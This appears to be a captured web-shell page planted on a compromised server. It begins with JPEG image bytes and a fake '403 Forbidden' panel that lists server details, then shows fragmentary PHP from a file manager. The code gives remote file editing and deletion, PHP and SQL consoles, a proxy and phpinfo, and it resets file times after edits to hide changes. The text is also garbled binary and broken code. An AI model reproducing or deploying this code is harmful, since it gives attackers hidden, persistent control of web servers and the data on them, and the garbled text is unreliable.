���� JFIF  H H ��(ICC_PROFILE   0 mntrRGB XYZ acsp  ��  �- desc � trXYZ d gXYZ x bXYZ � rTRC � (gTRC � (bTRC � (wtpt � cprt � ب���V�7eud�akt��!Q ,*R����G�PQ�NČzŬb 56��6��6p �z��"c8�3'���'Mq�6����G�i�t�q��l@�9��0.ۚA�����c���N|li:�9�蠃p���/��^�Zn���L���x84�v�����;[#$ ��n����h�'�����c���3���2o�8Ɛ5K��Av*_�?n�X�?��p��y�ֆ����̈́#�z�����2�3�F0O���e> {�Gu�.�V �(C���'h/�o%>�x1X� r:(>}�{�yc��X�8b��]�U�:�dO�Ms���VA�����p�'Z�3'3E�-�y��bj:�>��j�Ov�Uw�#�2cl~�@gF�C����jț���bz� ^:����-t��df��j{XTh���8aU���M��^+d�Al��"(KK� m1$$ X�K�K�q�rž�o�q��g� V FF#pG~����:�]�֦��!!Ң�:pC+ �A�����zӬ�].��t�`=�'�h�_/�}����� �@L�\�,�x㌼��z԰+�J�-��v�+�Y��������[�'8�'�� �%�� X q=������[4�Sj~�4�ݢ�#�d�ʂē�R�L5k��X؊���>��l���:t\��ba��B��A\Q3�8�(�<���A�;�d�)�n�ӓLr�Œ��*�|J�: Ƒ���2rF ������G�A�8��&\ �A�-�J) ��/j�`t.���E�� � ��A�:�T �m�"%Cb"!��7��wΦ�� �Æ��%�;���[�]�U�zmF������kx�+��7�^�Ү�R��"7�����N+-��b7�c�,.55�H�T���E`)��P�T ci 20y=MڭyٽS��Odc�i�UJnq&~zn$�Rp��)fG'�2�'����.�mEϙ���Z����oV���𶛒u�S�]�|�A�@.���)<��+�'>�� ө����:&�$� '��L�#���d{q�H�>*5;��jDo����� ˷�����Y��m���Ԉ*[9*�5���t�Uf��%3��= �GU������W\�'�����AR��_�W��4�_��P �պ�� ��-���|�4R��F��JZ�v0�d[ˠzJ|��PU�8��;鯌� '�V��cL�,���κ�>���*e��b)f,�0�"j1���� �1������v՘;�b�J��++�C�Oz7�%�>�N�U��,=z�\�c�EV�K�>Ic�7} .��jHn;^觱GHI����� �H�V����ǂO:�ߊ{mSV?K|@�� ���A��iA����T`2��j �� 1�~�K8’$� �~]=9ឦG �*����9�E�Mּm5X�f�9�Q�ĸ}i D%��+t+;F��: v�:�-�&����h�_�rD�|�!� �Ә�;Z�l��븂'�������:�C�&�Ҁae��Kkm6���� �uT".}J&\� hci�B2B�+�T�7�t?EPþЌ��m�A�F\�l���c2�ЊABm�E,cն\Q���J�]d�5� �����������`O�� Y@�8�?lx#���K�iI&��Ri1f��R2f1N�%_�g�*T���Ө��??N:����}+ל�ɀ�h٭�q��L��,ʈ�B�r����c��u��Bmz�� ̢TV^� 뙏8' ����u��fUX�3㓏��>NG�:���/�;�H�p饕�B�1�K�� ���/%iɫ V�Q%�:�_ -��1o����L�?�R��oa\i^����F|����W*Na)��P�� �X�#y㯨�z+C���ح\��в�j��i�rm����*d��W�ҡQb�BȨ��i'%�NEb�?���'[����h�=`Oi��U϶�u� ���n��R�}GW�4f�VJm������i�R���~��J|l%m'��%�"�LW�� V��2���7���Ns�X�b�?_�=����{s�}ij4�Ý=SN����jx�FV�"ԎI(�E���)]�ӝ�Ж���m�[4 m��`5�-7W�����f�󪥎�b�Z�K�a#Vb%��K��Y����5���T�$y`�4�6�̼�p �C�7�HM������'l{Oi � +���Pw~j,S5T4(F�Ԩ;�A��`*HJ��TP�g�t��(6/�cg��5�U�1@Qb8�Y!����r�<���r�6h��)��[{h�h�8 ���3���� ��0<�y+V�>BzOQ�KF+6�v�%=��~XD��PpW���c�_-:߈����#c�坣���C�W1�:�^�Q�� 06Ӭ�q@ Dj�$ �UW���$�?9���F�\cS���M5�=��2>�hב\,(�)�JB�k���; �J���#j徻W�(p=�o��Q�D� #U�Mh��U�*F��c ?N���=�n���F5��Ӑ12��w�0�5Z���뀩4ڣ���霅�uC1������y�����%n���J�8Ԑ���*c��r������R��� ��9W=�H�����9�,�A�׻,��.���ZF�b�� QEGVNs, �q�'�����;O����Mm�btN���Vq�Ow*֙kPѬ؈����X�J���I��ӯ��E������Wo�k�+��R�{��%�����j;��� ���Y��x����� ��7&&���,���LԜ���Y�bw"�lI���(*���`۹F� ����A�S����- #$�������4����13)Q���pڤ3Rx�O�J�$c�P]v�i�uq� {��k��y�N.��- ��B���,@󪳪ڸ�Ao���r%��X0�U��N��b��9 ���������򍕑��7)*��23�3���|�Rn�b���@�q��|E���U���y��́$!7����&���["X�O�y� �~ƓtADhP���]��m�G�파�9�p=�ԜZ]ӭ�ሎ�O�eyq�� !�b�I �GU����:�5~�F��o�L �S�T[е�$]$g��*�w]��!��;��m@�ޠ�&IU�ڬ{�҄բ-.Sm�Ғ�`���� �������vU"o�L��;�'��5s�"�W�)��@��ä���L�1i��}�^Y5�$+�P���v0o ������HU @ȓ��s�Q�M�)��?�M\��4�Q�� ��$2���;g� �WJ�/NwF�JG�D�:� y�� ��ό���Mf��W!���QUZ%a�zҳ����DK�_��X�h��M�^r�ԝ^!d��'<#ﴛ�O���{����/F�?�+�$ �Y�' wg'$��l������jG�AH�7l�4�������x�Ѷ�c��}���I�*e�s��g�~��;ͤ��t@����B�����2�iB'�9C �a�8���f�TR:�� �����%���N�O���@� m����3�s�v�� ��w� .@�濾��� ��,FYrT0m��UW�_v>>d�[���A�6��ڊx�:�Y�����T�L�����Hv��Ӻ!�n�S�D}�>[m�E�T0��_�,'C]���p����j�����V���ᅷ��PDZ[-��V0`����>�}��ܟpmֻ�2O6�O*����ݹ�X�HS�N(J�� /�+1՟�#(��P�*g�����EO�#�w&j�6�?;��ڡ�)+�U���]l��\�/{莄��*�I���/�����9�<'$�'#'��y�t/&�-\\WP�L`/p9�q��a'�e��¨��E]�� f��A�A�E�Y�nGtm,�ϮwXT�>AaN#���F��j��ŵj�Q�Fd������q^<�H?��y���J�܃2�*���3� T4�Ч����H���**W;�(ꭽ�¾�P�f=����e���yA���4�FJ��6{e�]J��q��OC��f#3��S�J�f i�MM\ i�T�$�rG�8$��9>2��:��M)���Q�#N��K��e��&"�E�8�����.��z�<��mHk�?�#��t��˒��A���]; G0H�:��f!�i�! ��� j�{���1�m�}���o��7�u;�$����99Ӱ���\n�c��z:zA�Lq�޶w�y��K���T<�����4�X,�'!Y;���Ͱ6�q� G�M~_�~܂}��t>���(��z�l�}:r �L�9 fe}.-���R*<`c6��o�ܛ=�pr��ҽGB)nQ%���������)s*&i΍��%—Zb{���m[��N�Nkb���wB����w Q*��d��F ��HP � � iܛ�; aV68j}\e�I��GI'͔B����;yA �:^���bn��-�m�#�@������S6�ˎr���� ;��~�cm�ƻgU��:�X6�G��%�<�r�' dzX^}�-� �H�X�D�������-C�W`#���کpNH5�E�y��=�1���G�#�꽁���C�5Yx��z�Y_"&�A�*�C� �+q7Km�1Pm��@in�88��  N�� ^c.d �p� � �>[�g�c��������{]c�4�)����f�psgY��˅����>��*"1���}2<1���7����5)]���������V5)kd�kM��~`�΂�����:{���4���nG��PTT�����b�� �� �� ����뎱�϶w FFᓂG8���>z��F����_�H��9_r��D��l:������ҶH5��Z!Bj.y��k}�e�rb:SOT��]!ǎ?n:H�ε�Z�s��y�z�tn���[�7N��Z#UQO$�.�J�#]Cr#�Y��X���9���c�<��'$�������z��� 9� ������.�$��$P���nDS�n ��2��u5���X ���g\��� �?�����|A���ᬰⶵ��� �>>�bE)�Cb����-ruMc��׺��*,\)`^���m� ge�\k�.�۫8��گ��oK�1��gWM�p�U޻zI=EE�rz:�#���6�-�-/�Wm��\z8�מ�0x �t��A���_c�?Ծ���c�^Mژ�������I�MyO>�l0�ċ�}t7[�\�ʲ9̜��m_a[�姯�rְ�j��P�\k�x��1�'�CdmvF70e���+����m-�]a��?ݝK��uSMUm 8f� ��Yb!�)�2Z.U���D� ���\~:��ܽ8z��R�̪K�c�b�s����&ߦ��������1�$�,� w�\gc�����3F$��iU#<�`��:�I�4{w���.���2���a��Q�$�EX�<��p}�x>N���o?Gm ��N�N rE��$#J�n҉�!��A��H'<�w���i���i͗k�;��S;(PY ����y,��|� v� �G!H���$��4�ƴ��@��V��!қ 7����� �$�� ���{��O�y�� �W�SY��:��I�doI�5b�_���s��G��q��$�qIOg�-���B�H]_�V���������G����!��w0�p$����n�U����#ROMB��$Zn:�BD�U���KE�4�����ec�q������}���3�������^���n��BZ�j�b��W��`l��� �Z�d�"��"�b�]nm!ij.��{&*������F���O?��c�u�]�������u�VQbj:�J�B��.Xg�J�Fsq�d祚N� �x�ʣR��;!�$�� � �:��F�cU��$R1- �K�'ɋ� I���x8�Ϗoߠ�F~�� ���z "��_^v�2��-����f��K ������kW8 c�.�Ms-����6�=eV�=����ev�\����������L�=� g�n22p<�׵?r�Fۏ�>z��eP��z��Rog�8u�(�tJ�P߁�Z���.p�Ð���͢A��ռ65�X��syvm��� 6R�W7W��;��|0�� >O��үG��@������ٳ<�>�om��Լ()���kZJlK,����F 4��)sn��������O�Q�{u㌏�=� A��o���,ծ����?eKB�zG �6e6������ ������ f|�C�U�� �_�4�C[j͕M�8,%em��M���8�\� ��c�v� COwTGi� _9��4���BDf%���'ns��8�M�P��c���������&�-�y"8R��_j���� �3a��+z+��N� �9���Q�lDQ�40�E �V���ۋ�rH�2�I�_���Y�O�',:뿉�WN�Hvﵐ0�B}n�����a*E zUb�N#��0�e"�f.Q���� ��H��5"��-�H�Vn=�+ #� �Eiy- �v8=�g��`���o�[ 鼛�2�.�D�^�����Q����eB� ؅q��Ͽ�R�C~ B+J�ۍ��8 ���4���*�Ӗ������Ν1��R �B��I\ �1[0 �I�9y��)���Y " 7�]6�q��g\� ��vP�  ��s�= Ѭ֕)פ��E��<�� �c`��ϷU9�W��,: �?�y����1h�s�U(�T g��e�/룮����J�A�]|��������4a�ZV�AI�eIhBI!�l�$��3![q�Hnw\7R�{��o�M�/�ִ��>�5&�� gw�j�F�E��� dc@K:V&�W�/k�+�=�Y�k[� @fU��5�zzmF��ȖH,[��� n�-dc� �w�d[��z"��g�4��ϘR�r�0`B��8_;�� #�$^Z�������o5K�ZYKj �GY%�����s�"!a�[9I2TF�����-�������w#a�]���˒����I�tٮ�ei_��F�pVЧ૱W�3e�Ci�7� ���"���}��H��A�pG>�h��֝������5i�� T٧- '�`d�X1���AF$�$<���y��9~��,��n���e�boW�>ޙ_��Z]ڷ�T���C�� ���U�y� ��J���G��O��}���� ���>���A"����5��a> Z�U��R� -��Z�\9� jrW��ݖQ�Rݳ�*�ļ��]�$ڵ�Xq�=�/��w�� ��z\��I��I�#�{�ӭ��l�^;�F_R쵎�[ָ[gK�KͰ�o�Q� )W녕��і��s�*kuz�ŨQde`�WU_��KLE��~"��g r<�2G�y��އ����L�(�-V�Y��� -Z(�I�U�����0� �|�\���;�8��C��� ��m����hl��:̄D��k�YHO�k��|:��*D��Y� ts�س� |��zrO;�񍃌s�T3���1���=�j�w���y��Ш��^nZ��H���m��_G̮��0W���������󿓹�S�;�����_$�mٛI��D�V��=f�-H�}����U����]H��A��*�vԶ����3\�Wh*I#$�@6�����x��^��O�Z���C&J�U� 16� X�D*��if&��B��DGFY�YP�[KL�X u�X �.Z�� h��q Ghb��8��M#�Mq�t�\c�>�� ��aT �� 00=�㎨ʕ�G�Q�Ԫ�R�����,Ĝ�I9����zӦ��JO��3Rn��`�C�5����܊@Q�O1�N.ؔ"I\�YÖ�Đ�H�d���L���������\}IP~jm�$ y�����;� ����:ZG��ZV�Jv ��=&*UF#`�`R`*S+p��\=)� ���ҭ�9�k������̮Rš�x��0'����**ԑL�kɺk��+zJb�#�:|M��Z� ��?�j$ݼ &�X�)$���6�F���Y6ѕ/������;�� ��J�*n����l��C�*ų_� �ԕ{�_�6�:\47ڷ�s��4R���m�Ċ�=����z ����*��ʪ��XT��[��������]�5�Bl#a�-˙bv�8�@�H���|R���we9A%5&�M����%�Z02T���N)&&GfM 儀o��Œ���M�;=���./�/k~ E"a9/3���y���,>��l��j��>������Z��X��y�&ε��Y�P��&h �g�e�c<�``����]!}i'c �KQ�ulF�Iʓ_\T58��(�+cJ��q~ ����[d�����gm�m/`��Xڙ�ht�k�q� ��ו$���"�c[P�VY�[uɜ&#�몵��"���Ⱦ�qC���"�Ü��Ȕ!���<����M�j8��u-�d��x��*�g��ϫ�t�T�Ld�K�laWڭ��\���~�|����7�u`��h(����w��֋�c�L=�����˼�=�F��vcG��s�}��зU����BS�М;�FI;���Q�$8�+V|[C�S��쮙���1�%�YP�� Q%� L�����VVK+&�,�c�Ib��]���Vy�i� �~h��?y��F4��"5��A�s-���F� ݆x5���5P&E�:W@f;}��G�y���^�]U ��� ITki�� ��1���� �d﫠���*c���N���h��'� c�ؗY�n�s�L����:b��?��H� :k���M~�@����8#�I�qɔ�~��:f�]��P*i]H��'f��jhx�Tҗ�1��O��:���^t�$�1]�����UXz&������t�OD�T�����>�(^�s��&3��#N_�/�x��-�䬦?��� ~��v��U-����W$4����'�ӎ�v�������RG�|jy��SW?�u���4�(�1 G[��ِ2��2jʎ�hr�m�oյ�ش��gRͮ%ϟ�Ѭ��9� �o���R  n-�����&F�-�����@����hgY�����_qN��;"2 �!K�J � šA��^, ��"�aG�8`�=1�4�=5�Mq�k�>��U@UT �:�R�gj����rK�F.�O$�I9'���=i�}.�_�� 403 Forbidden
  • Your IP: 216.73.216.38
  • Server IP: 54.36.91.62
  • Server: Linux webm008.cluster127.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
  • Server Software: Apache
  • PHP Version: 7.0.33
  • Buat File | Buat Folder
Edit File: date.php
'; } return ' '.$str.'
'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'
'.__('Name').''.__('Value').'
'; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' '.__('File manager').'
'.__('Login').'     '.__('Password').'    
'.fm_lang_form($language).' '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = '
'.fm_home().' Url:
'; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%()%i', '$1'.''.$proxy_form, $result); echo $result; die(); } } ?> <?=__('File manager')?>
'.__('File manager').' - '.__('Settings').' '.(empty($msg)?'':''.$msg.'').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' SQL server SQL user SQL password SQL DB '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' '.__('Reset settings').'
'.__('Settings').' - '.__('Authorization').'
'.__('Login').'
'.__('Password').'
'.__('Cookie').'
'.__('Days').'
'.__('Script').'
'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?>

'.fm_run_input('php'); else echo ''.fm_run_input('sql'); ?>

'."\n"; $select .= '\n"; foreach ($tmpl as $key=>$value){ $select.='\n"; } $select .= "\n"; echo $select; } ?>
'.strtoupper($res_lng).' '.__('Result').'
'.$fun($res).'
'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?>

'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?>
:
'.') { if(!fm_del_files(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' '.__('Delete') . ''; else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' '.__('Delete').''; } else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' '.__('Delete').''; } else $msg .= __('Error occurred').': '.__('no files'); } ?>
    ,
     '.$file.''; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '     '.$file.'' : '     '.$file.''; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '' . __('Delete') . ''; $renamelink = fm_root($file) ? '' : '' . __('Rename') . ''; $rightstext = ($file=='.' || $file=='..') ? '' : '' . @fm_rights_string($filename) . ''; ?>
Github | .'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | proxy'; if (!empty($fm_config['show_phpinfo'])) echo ' | phpinfo'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | xls'; if (!empty($fm_config['fm_settings'])) echo ' | '.__('Settings').''; ?>
errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); 